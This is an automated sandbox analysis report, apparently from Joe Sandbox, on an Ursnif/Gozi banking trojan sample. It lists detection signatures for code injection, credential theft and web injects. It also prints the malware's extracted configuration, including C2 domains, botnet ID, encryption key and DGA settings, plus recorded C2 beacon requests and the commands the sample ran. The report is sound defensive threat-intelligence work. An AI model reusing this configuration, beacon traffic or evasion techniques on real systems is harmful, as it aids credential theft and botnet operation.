Windows Analysis Report 2GEg45PlG9.exe

Overview

General Information

Sample Name: 2GEg45PlG9.exe
Analysis ID: 528165
MD5: f100bcf4531fa33e2dd85c321e40abff
SHA1: 0599268c78900d3f791b55f3e65401239f5b4309
SHA256: 1effa020a0b9aba59323d36d4c8680fa1bcd34f95e5b223b315053c08f4fb349
Tags: exeGozi
Infos:

Most interesting Screenshot:

Detection

Ursnif
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Detected unpacking (overwrites its own PE header)
Yara detected Ursnif
System process connects to network (likely due to code injection or exploit)
Detected unpacking (changes PE section rights)
Found malware configuration
Sigma detected: Powershell run code from registry
Multi AV Scanner detection for submitted file
Sigma detected: Encoded IEX
Tries to steal Mail credentials (via file / registry access)
Hooks registry keys query functions (used to hide registry keys)
Maps a DLL or memory area into another process
Uses nslookup.exe to query domains
Writes or reads registry keys via WMI
Machine Learning detection for sample
Allocates memory in foreign processes
May check the online IP address of the machine
Self deletion via cmd delete
Sigma detected: MSHTA Spawning Windows Shell
Creates a thread in another existing process (thread injection)
Disables SPDY (HTTP compression, likely to perform web injects)
Modifies the export address table of user mode modules (user mode EAT hooks)
Writes registry values via WMI
Tries to harvest and steal browser information (history, passwords, etc)
Writes to foreign memory regions
Changes memory attributes in foreign processes to executable or writable
Suspicious powershell command line found
Uses ping.exe to check the status of other devices and networks
Modifies the prolog of user mode functions (user mode inline hooks)
Uses ping.exe to sleep
Injects code into the Windows Explorer (explorer.exe)
Modifies the context of a thread in another process (thread injection)
Sigma detected: Mshta Spawning Windows Shell
Sigma detected: Suspicious Csc.exe Source File Folder
Modifies the import address table of user mode modules (user mode IAT hooks)
Antivirus or Machine Learning detection for unpacked file
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Contains functionality to launch a process as a different user
Sample execution stops while process was sleeping (likely an evasion)
JA3 SSL client fingerprint seen in connection with other malware
Contains functionality to dynamically determine API calls
Contains long sleeps (>= 3 min)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Searches for the Microsoft Outlook file path
PE file contains strange resources
Drops PE files
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Compiles C# or VB.Net code
Creates a process in suspended mode (likely to inject code)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Sigma detected: Suspicious Rundll32 Activity
Internet Provider seen in connection with other malware
Contains functionality to query CPU information (cpuid)
Contains functionality to call native functions
Found dropped PE file which has not been started or loaded
IP address seen in connection with other malware
Sample file is different than original file name gathered from version info

Classification

AV Detection:

barindex
Found malware configuration
Source: 00000001.00000002.516938610.0000000000590000.00000040.00000001.sdmp Malware Configuration Extractor: Ursnif {"RSA Public Key": "sruyfTpftU2mx06r6blBkffb54Jg6s7PO470disk6lub1geflsFwdqaQ00vNluRgXne/mvA0mo65LBIwlfHHaSlnGkAcdUa0LDUQI3JL8PJCTVXLqdTc14S+YvdwRhmVNIF3OG0ZAH9LaiKMhchX+hr/6XCcoRJbTazb/h3IFhcYIyrtRQbFDmQB42uVxLqD", "c2_domain": ["yahoo.com", "doreuneruy.store", "qorunegolu.club", "https://doreuneruy.store", "https://qorunegolu.club"], "botnet": "4483", "server": "12", "serpent_key": "10291029JSJUYNHG", "sleep_time": "10", "CONF_TIMEOUT": "20", "SetWaitableTimer_value": "0", "dga_base_url": "constitution.org/usdeclar.txt", "dga_tld": "com ru org", "DGA_count": "10"}
Multi AV Scanner detection for submitted file
Source: 2GEg45PlG9.exe ReversingLabs: Detection: 53%
Machine Learning detection for sample
Source: 2GEg45PlG9.exe Joe Sandbox ML: detected
Antivirus or Machine Learning detection for unpacked file
Source: 1.3.2GEg45PlG9.exe.2060000.0.unpack Avira: Label: TR/Patched.Ren.Gen
Source: 1.2.2GEg45PlG9.exe.400000.0.unpack Avira: Label: TR/Crypt.XPACK.Gen7
Source: 1.2.2GEg45PlG9.exe.590e50.1.unpack Avira: Label: TR/Patched.Ren.Gen

Compliance:

barindex
Detected unpacking (overwrites its own PE header)
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Unpacked PE file: 1.2.2GEg45PlG9.exe.400000.0.unpack
Uses 32bit PE files
Source: 2GEg45PlG9.exe Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED
Source: C:\Users\user\Desktop\2GEg45PlG9.exe File opened: C:\Windows\SysWOW64\msvcr100.dll Jump to behavior
Source: unknown HTTPS traffic detected: 98.137.11.164:443 -> 192.168.2.3:49742 version: TLS 1.2
Source: unknown HTTPS traffic detected: 87.248.100.215:443 -> 192.168.2.3:49743 version: TLS 1.2
Source: unknown HTTPS traffic detected: 89.45.4.117:443 -> 192.168.2.3:49746 version: TLS 1.2
Source: unknown HTTPS traffic detected: 209.202.254.90:443 -> 192.168.2.3:49813 version: TLS 1.2
Source: unknown HTTPS traffic detected: 209.202.254.90:443 -> 192.168.2.3:49814 version: TLS 1.2
Source: unknown HTTPS traffic detected: 87.248.118.23:443 -> 192.168.2.3:49816 version: TLS 1.2
Source: unknown HTTPS traffic detected: 212.82.100.140:443 -> 192.168.2.3:49817 version: TLS 1.2
Source: Binary string: C:\pipawakumep\xevonoxeye.pdb source: 2GEg45PlG9.exe, 00000001.00000000.293983515.0000000000418000.00000002.00020000.sdmp, 2GEg45PlG9.exe, 00000001.00000002.516515206.0000000000418000.00000002.00020000.sdmp
Source: Binary string: ntdll.pdb source: 2GEg45PlG9.exe, 00000001.00000003.464752274.0000000004110000.00000004.00000001.sdmp, 2GEg45PlG9.exe, 00000001.00000003.459755637.0000000004110000.00000004.00000001.sdmp
Source: Binary string: ntdll.pdbUGP source: 2GEg45PlG9.exe, 00000001.00000003.464752274.0000000004110000.00000004.00000001.sdmp, 2GEg45PlG9.exe, 00000001.00000003.459755637.0000000004110000.00000004.00000001.sdmp
Source: Binary string: )C:\pipawakumep\xevonoxeye.pdb = source: 2GEg45PlG9.exe, 00000001.00000000.293983515.0000000000418000.00000002.00020000.sdmp, 2GEg45PlG9.exe, 00000001.00000002.516515206.0000000000418000.00000002.00020000.sdmp
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_0078CBE3 wcscpy,wcscpy,GetLogicalDriveStringsW,GetLogicalDriveStringsW,RtlAllocateHeap,memset,GetLogicalDriveStringsW,WaitForSingleObject,GetDriveTypeW,lstrlenW,wcscpy,lstrlenW,HeapFree, 1_2_0078CBE3
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_0078E9AC lstrlenW,lstrlenW,lstrlenW,memset,FindFirstFileW,lstrlenW,lstrlenW,memset,wcscpy,PathFindFileNameW,RtlEnterCriticalSection,RtlLeaveCriticalSection,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose,FindFirstFileW,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose, 1_2_0078E9AC
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_0079999E lstrcmp,FindFirstFileW,lstrlenW,lstrlenW,lstrcpyW,lstrlenW,lstrcpyW,lstrcpyW,FindNextFileW,FindClose,FreeLibrary, 1_2_0079999E
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_0079A2FE lstrlenW,FindFirstFileW,lstrlenW,RemoveDirectoryW,DeleteFileW,FindNextFileW,GetLastError, 1_2_0079A2FE
Source: C:\Windows\SysWOW64\cmd.exe Code function: 44_2_0091999E FindFirstFileW,FindNextFileW,FindClose,FreeLibrary, 44_2_0091999E
Source: C:\Windows\SysWOW64\cmd.exe Code function: 44_2_0090E9AC memset,FindFirstFileW,memset,wcscpy,RtlEnterCriticalSection,RtlLeaveCriticalSection,FindNextFileW,WaitForSingleObject,FindClose,FindFirstFileW,FindNextFileW,WaitForSingleObject,FindClose, 44_2_0090E9AC
Source: C:\Windows\SysWOW64\cmd.exe Code function: 44_2_0091A2FE lstrlenW,FindFirstFileW,lstrlenW,RemoveDirectoryW,DeleteFileW,FindNextFileW,GetLastError, 44_2_0091A2FE

Networking:

barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Domain query: lycos.com
Source: C:\Windows\explorer.exe Domain query: mail.yahoo.com
Source: C:\Windows\explorer.exe Domain query: login.yahoo.com
Source: C:\Windows\explorer.exe Domain query: www.lycos.com
Uses nslookup.exe to query domains
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\nslookup.exe nslookup myip.opendns.com resolver1.opendns.com
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\nslookup.exe nslookup myip.opendns.com resolver1.opendns.com
May check the online IP address of the machine
Source: C:\Windows\System32\nslookup.exe DNS query: name: myip.opendns.com
Source: C:\Windows\System32\nslookup.exe DNS query: name: myip.opendns.com
Uses ping.exe to check the status of other devices and networks
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 57f3642b4e37e28f5cbe3020c9331b4c
Source: Joe Sandbox View JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /jdraw/Pzj8ZAf1ocor/vwsK7U9HF_2/BSjjGESBX8ncCP/rsp24bDI0WxsD9fAtnq85/rAH52N6aYSEnz28y/NysMGquW6jE1I3O/36A_2F3Qs_2BAgBXT1/HGms2KfZf/htng5Y_2F6UNXpqPSc50/edmgeyW7_2FUCcpHRMH/zBkXUS6KgYXoeCgqOY5mgh/nYjhIOr2VHId2/5cO9AJQL/v1AW.crw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: yahoo.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /jdraw/Pzj8ZAf1ocor/vwsK7U9HF_2/BSjjGESBX8ncCP/rsp24bDI0WxsD9fAtnq85/rAH52N6aYSEnz28y/NysMGquW6jE1I3O/36A_2F3Qs_2BAgBXT1/HGms2KfZf/htng5Y_2F6UNXpqPSc50/edmgeyW7_2FUCcpHRMH/zBkXUS6KgYXoeCgqOY5mgh/nYjhIOr2VHId2/5cO9AJQL/v1AW.crw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Connection: Keep-AliveCache-Control: no-cacheHost: www.yahoo.comCookie: B=aubaaedgpt43v&b=3&s=7o
Source: global traffic HTTP traffic detected: GET /jdraw/3UXHIycRk8M6aa2qOlHTdp/8jPuZVV_2B0Th/06YoiQaE/_2FatRxjXAnjx3AlxRhb2k2/1D4WV7ZMym/m2C_2FFYEC_2FU7Yk/i_2BPnwgmBF0/IPzTLMeRUBV/cxcHi5I_2FpZBi/N1gpoZwjss03S_2Fbnr3z/jVvgtIBwhuwnmbuC/0OORMWqE7PIEiI9/PgDQNnYSyBZIKuFwau/KOHqRL.crw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: doreuneruy.storeConnection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /jdraw/eKaIOMBSk5/OmJgUmRZLr75WvgmQ/lCAAoG2FlxCw/NYzS1o_2BFi/Ieqx_2FKcvuYNo/7IkLYskhOhbfPZpn3msj_/2BR_2Fhl7PSteeC_/2Fx6wkm1gCCOSzv/ojOhT7mIu1zV1InOuI/v0PzrfJti/Vp_2B_2FXz6Vw_2B8AOy/f6kLklWb2UbpPJ8knZc/CNedLE3nD8G6LBOjysaOgx/q1vP.crw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: doreuneruy.storeConnection: Keep-AliveCache-Control: no-cacheCookie: PHPSESSID=mf9de3f53c70hjkfmk1chn5dm2; lang=en
Source: global traffic HTTP traffic detected: GET /jdraw/9h3_2FCmvCPAOiqfbbwOZ/EDyF0nUwfnz0i_2B/zRdR8YVxUZKNNmY/vh0mWq_2BHQORAUjil/Wy1ZX7xjv/qL7UjzfbaMRckwwpBr7M/ZU4TPOLT0IGmp_2FqN5/9mRjeYDMBNc5x7HMWXCA4m/OQS9XBJVBHWu0/pJXVZOQ3/aoSVwCoLr8yuRXdSOyZXUNC/Ax4ZOlmgeU/J19Mkd.crw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: doreuneruy.storeConnection: Keep-AliveCache-Control: no-cacheCookie: PHPSESSID=mf9de3f53c70hjkfmk1chn5dm2; lang=en
Source: global traffic HTTP traffic detected: GET /images/ppqRJQCldf/y0aRV5ltpZLhF1Y6u/5E2P5n72GVgs/ZRfgQ7qOCw_/2FDj_2BPVh3CIG/ApimckfoZh3aFZlq1LHS9/dS4GzS9wFh0ghVyH/li9W0GkYIKxTCnu/icYaVVs6u_2FJWtYks/uKm30YMYG/4F3z2kj2C5Znei1zf20Z/n8ahvXXU8Rrtq8huPKA/o6zOJ_2B2aKD2SM1OlCsYY/7rAThTJULy_2F/_2FrljP6/t_2Bt0F8DR7W_2FSEdEgZ_2/FgV1waOmII/rFQv_2F9vOq/YOnsMkl.jpeg HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64)Host: lycos.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/ppqRJQCldf/y0aRV5ltpZLhF1Y6u/5E2P5n72GVgs/ZRfgQ7qOCw_/2FDj_2BPVh3CIG/ApimckfoZh3aFZlq1LHS9/dS4GzS9wFh0ghVyH/li9W0GkYIKxTCnu/icYaVVs6u_2FJWtYks/uKm30YMYG/4F3z2kj2C5Znei1zf20Z/n8ahvXXU8Rrtq8huPKA/o6zOJ_2B2aKD2SM1OlCsYY/7rAThTJULy_2F/_2FrljP6/t_2Bt0F8DR7W_2FSEdEgZ_2/FgV1waOmII/rFQv_2F9vOq/YOnsMkl.jpeg HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64)Connection: Keep-AliveCache-Control: no-cacheHost: www.lycos.com
Source: global traffic HTTP traffic detected: GET /images/ppqRJQCldf/y0aRV5ltpZLhF1Y6u/5E2P5n72GVgs/ZRfgQ7qOCw_/2FDj_2BPVh3CIG/ApimckfoZh3aFZlq1LHS9/dS4GzS9wFh0ghVyH/li9W0GkYIKxTCnu/icYaVVs6u_2FJWtYks/uKm30YMYG/4F3z2kj2C5Znei1zf20Z/n8ahvXXU8Rrtq8huPKA/o6zOJ_2B2aKD2SM1OlCsYY/7rAThTJULy_2F/_2FrljP6/t_2Bt0F8DR7W_2FSEdEgZ_2/FgV1waOmII/rFQv_2F9vOq/YOnsMkl.jpeg/ HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64)Connection: Keep-AliveCache-Control: no-cacheHost: www.lycos.com
Source: global traffic HTTP traffic detected: GET /images/p1j4_2FYUovJ2/Q091rOlp/WlKK4E5BVUZATMisrrcdfO9/xujBGVZbFO/j81xKcDs8ZGIsXpsR/jMxQkqt8r3FW/nNmyo_2F9c1/9mchTGcF4u2BVp/bDV5DdPcO0rbV_2BYJl9C/a6_2BauGQrS_2Bhd/udU30LsZA_2BvFf/UUBtSUpSS_2BsU0ZRR/VBbsBM3cR/23B7DLESnrY8YHW8fKAI/d4jc9Ng_2FmqIhPtJeY/iUJMoJejs2tPtZa5trclBk/90nQlHKbQVphQ/nUNz7irW/DHC.gif HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64)Host: mail.yahoo.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /?.src=ym&pspid=159600001&activity=mail-direct&.lang=en-US&.intl=us&.done=https%3A%2F%2Fmail.yahoo.com%2Fd%2Fimages%2Fp1j4_2FYUovJ2%2FQ091rOlp%2FWlKK4E5BVUZATMisrrcdfO9%2FxujBGVZbFO%2Fj81xKcDs8ZGIsXpsR%2FjMxQkqt8r3FW%2FnNmyo_2F9c1%2F9mchTGcF4u2BVp%2FbDV5DdPcO0rbV_2BYJl9C%2Fa6_2BauGQrS_2Bhd%2FudU30LsZA_2BvFf%2FUUBtSUpSS_2BsU0ZRR%2FVBbsBM3cR%2F23B7DLESnrY8YHW8fKAI%2Fd4jc9Ng_2FmqIhPtJeY%2FiUJMoJejs2tPtZa5trclBk%2F90nQlHKbQVphQ%2FnUNz7irW%2FDHC.gif HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0; Win64; x64)Connection: Keep-AliveCache-Control: no-cacheHost: login.yahoo.com
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: M247GB M247GB
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 87.248.118.23 87.248.118.23
Source: 2GEg45PlG9.exe, 00000001.00000003.455384028.00000000040F8000.00000004.00000040.sdmp, powershell.exe, 0000000E.00000003.473205364.000002E0C721C000.00000004.00000040.sdmp, control.exe, 00000015.00000003.542333529.0000019283CFC000.00000004.00000040.sdmp, control.exe, 00000015.00000003.470344123.0000019283CFC000.00000004.00000040.sdmp, control.exe, 00000015.00000003.470416352.0000019283CFC000.00000004.00000040.sdmp, control.exe, 00000015.00000002.553064845.0000019283CFC000.00000004.00000040.sdmp, RuntimeBroker.exe, 0000001D.00000002.844738201.000001B91FF02000.00000004.00000001.sdmp, rundll32.exe, 0000001F.00000002.551762255.0000023D83CEC000.00000004.00000040.sdmp, rundll32.exe, 0000001F.00000003.549603745.0000023D83CEC000.00000004.00000040.sdmp, rundll32.exe, 0000001F.00000003.549734741.0000023D83CEC000.00000004.00000040.sdmp, RuntimeBroker.exe, 00000021.00000002.848361945.00000163C5B02000.00000004.00000001.sdmp, RuntimeBroker.exe, 00000023.00000002.841098267.000001EAE4A02000.00000004.00000001.sdmp String found in binary or memory: http://constitution.org/usdeclar.txt
Source: 2GEg45PlG9.exe, 00000001.00000003.455384028.00000000040F8000.00000004.00000040.sdmp, powershell.exe, 0000000E.00000003.473205364.000002E0C721C000.00000004.00000040.sdmp, control.exe, 00000015.00000003.542333529.0000019283CFC000.00000004.00000040.sdmp, control.exe, 00000015.00000003.470344123.0000019283CFC000.00000004.00000040.sdmp, control.exe, 00000015.00000003.470416352.0000019283CFC000.00000004.00000040.sdmp, control.exe, 00000015.00000002.553064845.0000019283CFC000.00000004.00000040.sdmp, RuntimeBroker.exe, 0000001D.00000002.844738201.000001B91FF02000.00000004.00000001.sdmp, rundll32.exe, 0000001F.00000002.551762255.0000023D83CEC000.00000004.00000040.sdmp, rundll32.exe, 0000001F.00000003.549603745.0000023D83CEC000.00000004.00000040.sdmp, rundll32.exe, 0000001F.00000003.549734741.0000023D83CEC000.00000004.00000040.sdmp, RuntimeBroker.exe, 00000021.00000002.848361945.00000163C5B02000.00000004.00000001.sdmp, RuntimeBroker.exe, 00000023.00000002.841098267.000001EAE4A02000.00000004.00000001.sdmp String found in binary or memory: http://constitution.org/usdeclar.txtC:
Source: 2GEg45PlG9.exe, 00000001.00000003.389963914.00000000004F6000.00000004.00000001.sdmp, 2GEg45PlG9.exe, 00000001.00000003.346201365.00000000004F6000.00000004.00000001.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: 2GEg45PlG9.exe, 00000001.00000003.455384028.00000000040F8000.00000004.00000040.sdmp, powershell.exe, 0000000E.00000003.473205364.000002E0C721C000.00000004.00000040.sdmp, control.exe, 00000015.00000003.542333529.0000019283CFC000.00000004.00000040.sdmp, control.exe, 00000015.00000003.470344123.0000019283CFC000.00000004.00000040.sdmp, control.exe, 00000015.00000003.470416352.0000019283CFC000.00000004.00000040.sdmp, control.exe, 00000015.00000002.553064845.0000019283CFC000.00000004.00000040.sdmp, RuntimeBroker.exe, 0000001D.00000002.844738201.000001B91FF02000.00000004.00000001.sdmp, rundll32.exe, 0000001F.00000002.551762255.0000023D83CEC000.00000004.00000040.sdmp, rundll32.exe, 0000001F.00000003.549603745.0000023D83CEC000.00000004.00000040.sdmp, rundll32.exe, 0000001F.00000003.549734741.0000023D83CEC000.00000004.00000040.sdmp, RuntimeBroker.exe, 00000021.00000002.848361945.00000163C5B02000.00000004.00000001.sdmp, RuntimeBroker.exe, 00000023.00000002.841098267.000001EAE4A02000.00000004.00000001.sdmp String found in binary or memory: http://https://file://USER.ID%lu.exe/upd
Source: RuntimeBroker.exe, 00000021.00000000.605642600.00000163C251A000.00000004.00000001.sdmp, RuntimeBroker.exe, 00000021.00000002.838572516.00000163C251A000.00000004.00000001.sdmp String found in binary or memory: http://ns.adobe.cmgbbn
Source: RuntimeBroker.exe, 00000021.00000000.605642600.00000163C251A000.00000004.00000001.sdmp, RuntimeBroker.exe, 00000021.00000002.838572516.00000163C251A000.00000004.00000001.sdmp String found in binary or memory: http://ns.adobe.uxB
Source: RuntimeBroker.exe, 00000021.00000000.605642600.00000163C251A000.00000004.00000001.sdmp, RuntimeBroker.exe, 00000021.00000002.838572516.00000163C251A000.00000004.00000001.sdmp String found in binary or memory: http://ns.adobp/
Source: RuntimeBroker.exe, 00000021.00000000.605642600.00000163C251A000.00000004.00000001.sdmp, RuntimeBroker.exe, 00000021.00000002.838572516.00000163C251A000.00000004.00000001.sdmp String found in binary or memory: http://ns.micro/1
Source: powershell.exe, 0000000E.00000002.583661577.000002E0BE381000.00000004.00000001.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000000E.00000002.536377289.000002E0AE529000.00000004.00000001.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 0000000E.00000002.535715477.000002E0AE321000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RuntimeBroker.exe, 00000021.00000000.586908271.00000163C434E000.00000004.00000001.sdmp, RuntimeBroker.exe, 00000021.00000000.606052348.00000163C434E000.00000004.00000001.sdmp, RuntimeBroker.exe, 00000021.00000002.841542225.00000163C434E000.00000004.00000001.sdmp, RuntimeBroker.exe, 00000021.00000000.611672553.00000163C434E000.00000004.00000001.sdmp String found in binary or memory: http://twitter.com/spotifySSOR_
Source: powershell.exe, 0000000E.00000002.536377289.000002E0AE529000.00000004.00000001.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 0000000E.00000002.583661577.000002E0BE381000.00000004.00000001.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000E.00000002.583661577.000002E0BE381000.00000004.00000001.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000E.00000002.583661577.000002E0BE381000.00000004.00000001.sdmp String found in binary or memory: https://contoso.com/License
Source: 2GEg45PlG9.exe, 00000001.00000003.347025160.0000000002B18000.00000004.00000040.sdmp, 2GEg45PlG9.exe, 00000001.00000003.389984019.0000000000522000.00000004.00000001.sdmp, 2GEg45PlG9.exe, 00000001.00000003.347031164.0000000002B1B000.00000004.00000040.sdmp String found in binary or memory: https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=4d9
Source: 2GEg45PlG9.exe, 00000001.00000003.347025160.0000000002B18000.00000004.00000040.sdmp, 2GEg45PlG9.exe, 00000001.00000003.399123290.0000000002B18000.00000004.00000040.sdmp, 2GEg45PlG9.exe, 00000001.00000002.517601927.0000000002B18000.00000004.00000040.sdmp, 2GEg45PlG9.exe, 00000001.00000003.393561682.0000000002B18000.00000004.00000040.sdmp, 2GEg45PlG9.exe, 00000001.00000003.515942953.0000000002B18000.00000004.00000040.sdmp, 2GEg45PlG9.exe, 00000001.00000003.397469002.0000000002B18000.00000004.00000040.sdmp String found in binary or memory: https://doreuneruy.store
Source: 2GEg45PlG9.exe, 00000001.00000003.389963914.00000000004F6000.00000004.00000001.sdmp String found in binary or memory: https://doreuneruy.store/
Source: 2GEg45PlG9.exe, 00000001.00000002.516883951.0000000000530000.00000004.00000020.sdmp String found in binary or memory: https://doreuneruy.store/jdraw/3UXHIycRk8M6aa2qOlHTdp/8jPuZVV_2B0Th/06YoiQaE/_2FatRxjXAnjx3AlxRhb2k2
Source: 2GEg45PlG9.exe, 00000001.00000003.389963914.00000000004F6000.00000004.00000001.sdmp String found in binary or memory: https://doreuneruy.store/mE
Source: 2GEg45PlG9.exe, 00000001.00000003.389963914.00000000004F6000.00000004.00000001.sdmp String found in binary or memory: https://doreuneruy.store/u
Source: 2GEg45PlG9.exe, 00000001.00000003.347025160.0000000002B18000.00000004.00000040.sdmp, 2GEg45PlG9.exe, 00000001.00000003.399123290.0000000002B18000.00000004.00000040.sdmp, 2GEg45PlG9.exe, 00000001.00000002.517601927.0000000002B18000.00000004.00000040.sdmp, 2GEg45PlG9.exe, 00000001.00000003.393561682.0000000002B18000.00000004.00000040.sdmp, 2GEg45PlG9.exe, 00000001.00000003.515942953.0000000002B18000.00000004.00000040.sdmp, 2GEg45PlG9.exe, 00000001.00000003.397469002.0000000002B18000.00000004.00000040.sdmp String found in binary or memory: https://doreuneruy.storehttps://qorunegolu.club
Source: powershell.exe, 0000000E.00000002.536377289.000002E0AE529000.00000004.00000001.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 0000000E.00000002.583661577.000002E0BE381000.00000004.00000001.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: 2GEg45PlG9.exe, 00000001.00000003.347025160.0000000002B18000.00000004.00000040.sdmp, 2GEg45PlG9.exe, 00000001.00000003.389984019.0000000000522000.00000004.00000001.sdmp, 2GEg45PlG9.exe, 00000001.00000003.347031164.0000000002B1B000.00000004.00000040.sdmp String found in binary or memory: https://policies.yahoo.com/w3c/p3p.xml
Source: 2GEg45PlG9.exe, 00000001.00000003.347025160.0000000002B18000.00000004.00000040.sdmp, 2GEg45PlG9.exe, 00000001.00000003.399123290.0000000002B18000.00000004.00000040.sdmp, 2GEg45PlG9.exe, 00000001.00000002.517601927.0000000002B18000.00000004.00000040.sdmp, 2GEg45PlG9.exe, 00000001.00000003.393561682.0000000002B18000.00000004.00000040.sdmp, 2GEg45PlG9.exe, 00000001.00000003.515942953.0000000002B18000.00000004.00000040.sdmp, 2GEg45PlG9.exe, 00000001.00000003.397469002.0000000002B18000.00000004.00000040.sdmp String found in binary or memory: https://qorunegolu.club
Source: 2GEg45PlG9.exe, 00000001.00000003.389963914.00000000004F6000.00000004.00000001.sdmp, 2GEg45PlG9.exe, 00000001.00000003.346201365.00000000004F6000.00000004.00000001.sdmp String found in binary or memory: https://www.yahoo.com/
Source: 2GEg45PlG9.exe, 00000001.00000003.347031164.0000000002B1B000.00000004.00000040.sdmp String found in binary or memory: https://www.yahoo.com/?err=404&err_url=https%3a%2f%2fwww.yahoo.com%2fjdraw%2fPzj8ZAf1ocor%2fvwsK7U9H
Source: 2GEg45PlG9.exe, 00000001.00000003.346201365.00000000004F6000.00000004.00000001.sdmp String found in binary or memory: https://www.yahoo.com/F
Source: 2GEg45PlG9.exe, 00000001.00000003.389963914.00000000004F6000.00000004.00000001.sdmp String found in binary or memory: https://www.yahoo.com/M
Source: 2GEg45PlG9.exe, 00000001.00000003.389963914.00000000004F6000.00000004.00000001.sdmp String found in binary or memory: https://www.yahoo.com/b
Source: 2GEg45PlG9.exe, 00000001.00000003.346201365.00000000004F6000.00000004.00000001.sdmp, 2GEg45PlG9.exe, 00000001.00000003.346160000.0000000000521000.00000004.00000001.sdmp String found in binary or memory: https://www.yahoo.com/jdraw/Pzj8ZAf1ocor/vwsK7U9HF_2/BSjjGESBX8ncCP/rsp24bDI0WxsD9fAtnq85/rAH52N6aYS
Source: unknown DNS traffic detected: queries for: yahoo.com
Source: C:\Users\user\Desktop\2GEg45PlG9.exe Code function: 1_2_020D5988 ResetEvent,ResetEvent,lstrcat,InternetReadFile,GetLastError,ResetEvent,InternetReadFile,GetLastError, 1_2_020D5988
Source: global traffic HTTP traffic detected: GET /jdraw/Pzj8ZAf1ocor/vwsK7U9HF_2/BSjjGESBX8ncCP/rsp24bDI0WxsD9fAtnq85/rAH52N6aYSEnz28y/NysMGquW6jE1I3O/36A_2F3Qs_2BAgBXT1/HGms2KfZf/htng5Y_2F6UNXpqPSc50/edmgeyW7_2FUCcpHRMH/zBkXUS6KgYXoeCgqOY5mgh/nYjhIOr2VHId2/5cO9AJQL/v1AW.crw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: yahoo.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /jdraw/Pzj8ZAf1ocor/vwsK7U9HF_2/BSjjGESBX8ncCP/rsp24bDI0WxsD9fAtnq85/rAH52N6aYSEnz28y/NysMGquW6jE1I3O/36A_2F3Qs_2BAgBXT1/HGms2KfZf/htng5Y_2F6UNXpqPSc50/edmgeyW7_2FUCcpHRMH/zBkXUS6KgYXoeCgqOY5mgh/nYjhIOr2VHId2/5cO9AJQL/v1AW.crw HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Connection: Keep-AliveCache-Control: no-cacheHost: www.yahoo.comCookie: B=aubaaedgpt43v&b=3&s=7o
